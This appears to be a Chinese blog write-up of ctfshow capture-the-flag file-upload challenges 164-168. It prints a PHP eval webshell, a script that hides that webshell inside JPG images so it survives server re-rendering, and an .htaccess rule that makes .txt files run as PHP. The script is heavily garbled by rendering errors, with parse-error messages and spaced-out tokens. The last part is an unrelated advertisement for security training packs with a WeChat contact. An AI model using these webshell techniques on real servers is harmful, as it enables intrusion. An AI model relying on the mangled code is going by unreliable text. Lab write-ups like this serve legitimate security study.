ctfshow WEB入门 文件上传151-170_ctfshow web入门文件包含167

至于这个脚本是怎么绕过二次渲染,我也不能完全理解脚本原理,也许是根据P数组创造图片马能符合二次渲染不被渲染到的规律?这里希望能得到大家的指点。

上传生成的图片,成功访问,抓包到上传的图片内容:

说明里面的后门代码生效了,且内容在图片内容里面,抓包或者010editor等里面才看得出来,浏览器看不出来。

开始常规操作:

得到flag。

但是当我传递0=eval,然后1=system()这种类型的时候,会对eval进行报错。

原因:PHP对于 a ( ) 的函数形式称为可变函数,如果 a()的函数形式称为可变函数,如果 a()的函数形式称为可变函数,如果a是函数才可被调用,不是就会报错。而eval是一个语言构造器,而不是函数,就会报错。且在php7.1以上,assert也变成了语言构造器,也会报错。

这里附上这两篇文章:

动态调用函数时的命令执行对于eval()和assert()的执行问题_cannot call assert() with string argument dynamica-CSDN博客和assert()的执行问题_cannot call assert() with string argument dynamica-CSDN博客")

https://www.cnblogs.com/0daybug/p/12610834.html

165.JPG二次渲染

其他的和上题一样,只是这道题要用到JPG的二次渲染。

要用这个脚本运行:

<?php $miniPayload = '<?=eval($_POST[1]);?>';

if(!extension_loaded(‘gd’) || !function_exists(‘imagecreatefromjpeg’)) {
die(‘php-gd is not installed’);
}
if(!isset( a r g v [ 1 ] ) ) d i e ( ′ p h p j p g p a y l o a d . p h p < j p g n a m e . j p g > ′ ) ; s e t e r r o r h a n d l e r ( " c u s t o m e r r o r h a n d l e r " ) ; f o r ( argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); } set_error_handler("custom_error_handler"); for( argv[1]))die(phpjpgpayload.php<jpgname.jpg>);seterrorhandler("customerrorhandler");for(pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
d i s = n e w D a t a I n p u t S t r e a m ( dis = new DataInputStream( dis=newDataInputStream(argv[1]);
o u t S t r e a m = f i l e g e t c o n t e n t s ( outStream = file_get_contents( outStream=filegetcontents(argv[1]);
$extraBytes = 0;
c o r r e c t I m a g e = T R U E ; i f ( correctImage = TRUE; if( correctImage=TRUE;if(dis->readShort() != 0xFFD8) {
die(‘Incorrect SOI marker’);
}
while((!KaTeX parse error: Expected 'EOF', got '&' at position 13: dis->eof()) &̲& (dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
d i s − > s k i p ( dis->skip( dis>skip(size);
if($marker === 0xDA) {
$startPos = $dis->seek();
o u t S t r e a m T m p = s u b s t r ( outStreamTmp = substr( outStreamTmp=substr(outStream, 0, $startPos) .
KaTeX parse error: Undefined control sequence: \0 at position 27: … . str_repeat("\̲0̲",nullbytePayloadSize) .
substr($outStream, KaTeX parse error: Expected group after '_' at position 24: …); checkImage('_̲'.argv[1], o u t S t r e a m T m p , T R U E ) ; i f ( outStreamTmp, TRUE); if( outStreamTmp,TRUE);if(extraBytes !== 0) {
while((!KaTeX parse error: Expected '}', got 'EOF' at end of input: …->eof())) { if(dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
o u t S t r e a m = s u b s t r ( outStream = substr( outStream=substr(outStream, 0, $startPos) .
KaTeX parse error: Undefined control sequence: \0 at position 35: …r( str_repeat("\̲0̲",nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
n u l l b y t e P a y l o a d S i z e + nullbytePayloadSize+ nullbytePayloadSize+imageStreamSize- e x t r a B y t e s ) . s u b s t r ( extraBytes) . substr( extraBytes).substr(outStream, KaTeX parse error: Expected 'EOF', got '}' at position 11: stopPos); }̲ elseif(correctImage) {
$outStream = KaTeX parse error: Expected 'EOF', got '}' at position 15: outStreamTmp; }̲ else { break; …argv[1], KaTeX parse error: Expected 'EOF', got '}' at position 50: …lse { break; } }̲ } } unlink('pa…argv[1]);
die(‘Something’s wrong’);
function checkImage($filename, $data, $unlink = FALSE) {
global c o r r e c t I m a g e ; f i l e p u t c o n t e n t s ( correctImage; file_put_contents( correctImage;fileputcontents(filename, $data);
c o r r e c t I m a g e = T R U E ; i m a g e c r e a t e f r o m j p e g ( correctImage = TRUE; imagecreatefromjpeg( correctImage=TRUE;imagecreatefromjpeg(filename);
if( u n l i n k ) u n l i n k ( unlink) unlink( unlink)unlink(filename);
return KaTeX parse error: Expected 'EOF', got '}' at position 15: correctImage; }̲ function custo…errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match(‘/(\d+) extraneous bytes before marker/’, $errstr, KaTeX parse error: Expected '}', got 'EOF' at end of input: m)) { if(isset(m[1])) {
e x t r a B y t e s = ( i n t ) extraBytes = (int) extraBytes=(int)m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private KaTeX parse error: Expected group after '_' at position 23: …ublic function _̲_construct(filename, $order = false, $fromString = false) {
$this->binData = ‘’;
$this->order = o r d e r ; i f ( ! order; if(! order;if(!fromString) {
if(!file_exists( f i l e n a m e ) ∣ ∣ ! i s f i l e ( filename) || !is_file( filename)∣∣!isfile(filename))
die(‘File not exists [’.$filename.‘]’);
t h i s − > b i n D a t a = f i l e g e t c o n t e n t s ( this->binData = file_get_contents( this>binData=filegetcontents(filename);
} else {
$this->binData = $filename;
}
t h i s − > s i z e = s t r l e n ( this->size = strlen( this>size=strlen(this->binData);
}
public function seek() {
return ( t h i s − > s i z e − s t r l e n ( this->size - strlen( this>sizestrlen(this->binData));
}
public function skip($skip)
{
t h i s − > b i n D a t a = s u b s t r ( this->binData = substr( this>binData=substr(this->binData, KaTeX parse error: Expected 'EOF', got '}' at position 8: skip); }̲ public functio…this->eof()) {
die(‘End Of File’);
}
b y t e = s u b s t r ( byte = substr( byte=substr(this->binData, 0, 1);
t h i s − > b i n D a t a = s u b s t r ( this->binData = substr( this>binData=substr(this->binData, 1);
return ord(KaTeX parse error: Expected 'EOF', got '}' at position 8: byte); }̲ ​ public funct…this->binData) < 2) {
die(‘End Of File’);
}
s h o r t = s u b s t r ( short = substr( short=substr(this->binData, 0, 2);
t h i s − > b i n D a t a = s u b s t r ( this->binData = substr( this>binData=substr(this->binData, 2);
if($this->order) {
s h o r t = ( o r d ( short = (ord( short=(ord(short[1]) << 8) + ord($short[0]);
} else {
s h o r t = ( o r d ( short = (ord( short=(ord(short[0]) << 8) + ord($short[1]);
}
return KaTeX parse error: Expected 'EOF', got '}' at position 8: short; }̲ ​ public funct…this->binData||(strlen($this->binData) === 0);
}
}
?>

使用方法:在同一文件夹下放入这个脚本和图片,打开cmd命令:php jpg.php 1.jpg

图片要上传后经服务器渲染后再来运行脚本,这样可以使渲染修改得最小。

我用了十多张图片,才找到一张能拿后门的

其他的要么是这种:

要么是这种:

然后最后常规操作得到flag。

166.zip

上传一个zip格式文件,写下后门代码

点击 下载文件 进行抓包

这里我的后门代码给的是post一定要把请求方法改成post(URL前面的),我以前一直没有注意这个细节,想来有很多莫名其妙的问题多半是因为这个。

然后常规操作。

167. htaccess配置文件

将AddType application/x-httpd-php .txt写入.htaccess配置文件。

意为将.txt文件解析为.php文件。

所以如果能上传这个文件,就不需要前面的文件包含漏洞来配合文件上传。

经过实验,这关没有什么过滤。

直接抓包把.htaccess和写有后门的1.txt日上去。

然后常规操作。

168.基础免杀

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

一、网安学习成长路线图

网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
在这里插入图片描述

二、网安视频合集

观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
在这里插入图片描述

三、精品网安学习书籍

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
在这里插入图片描述

四、网络安全源码合集+工具包

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
在这里插入图片描述

五、网络安全面试题

最后就是大家最关心的网络安全面试题板块
在这里插入图片描述在这里插入图片描述

一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

956e.png)

一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值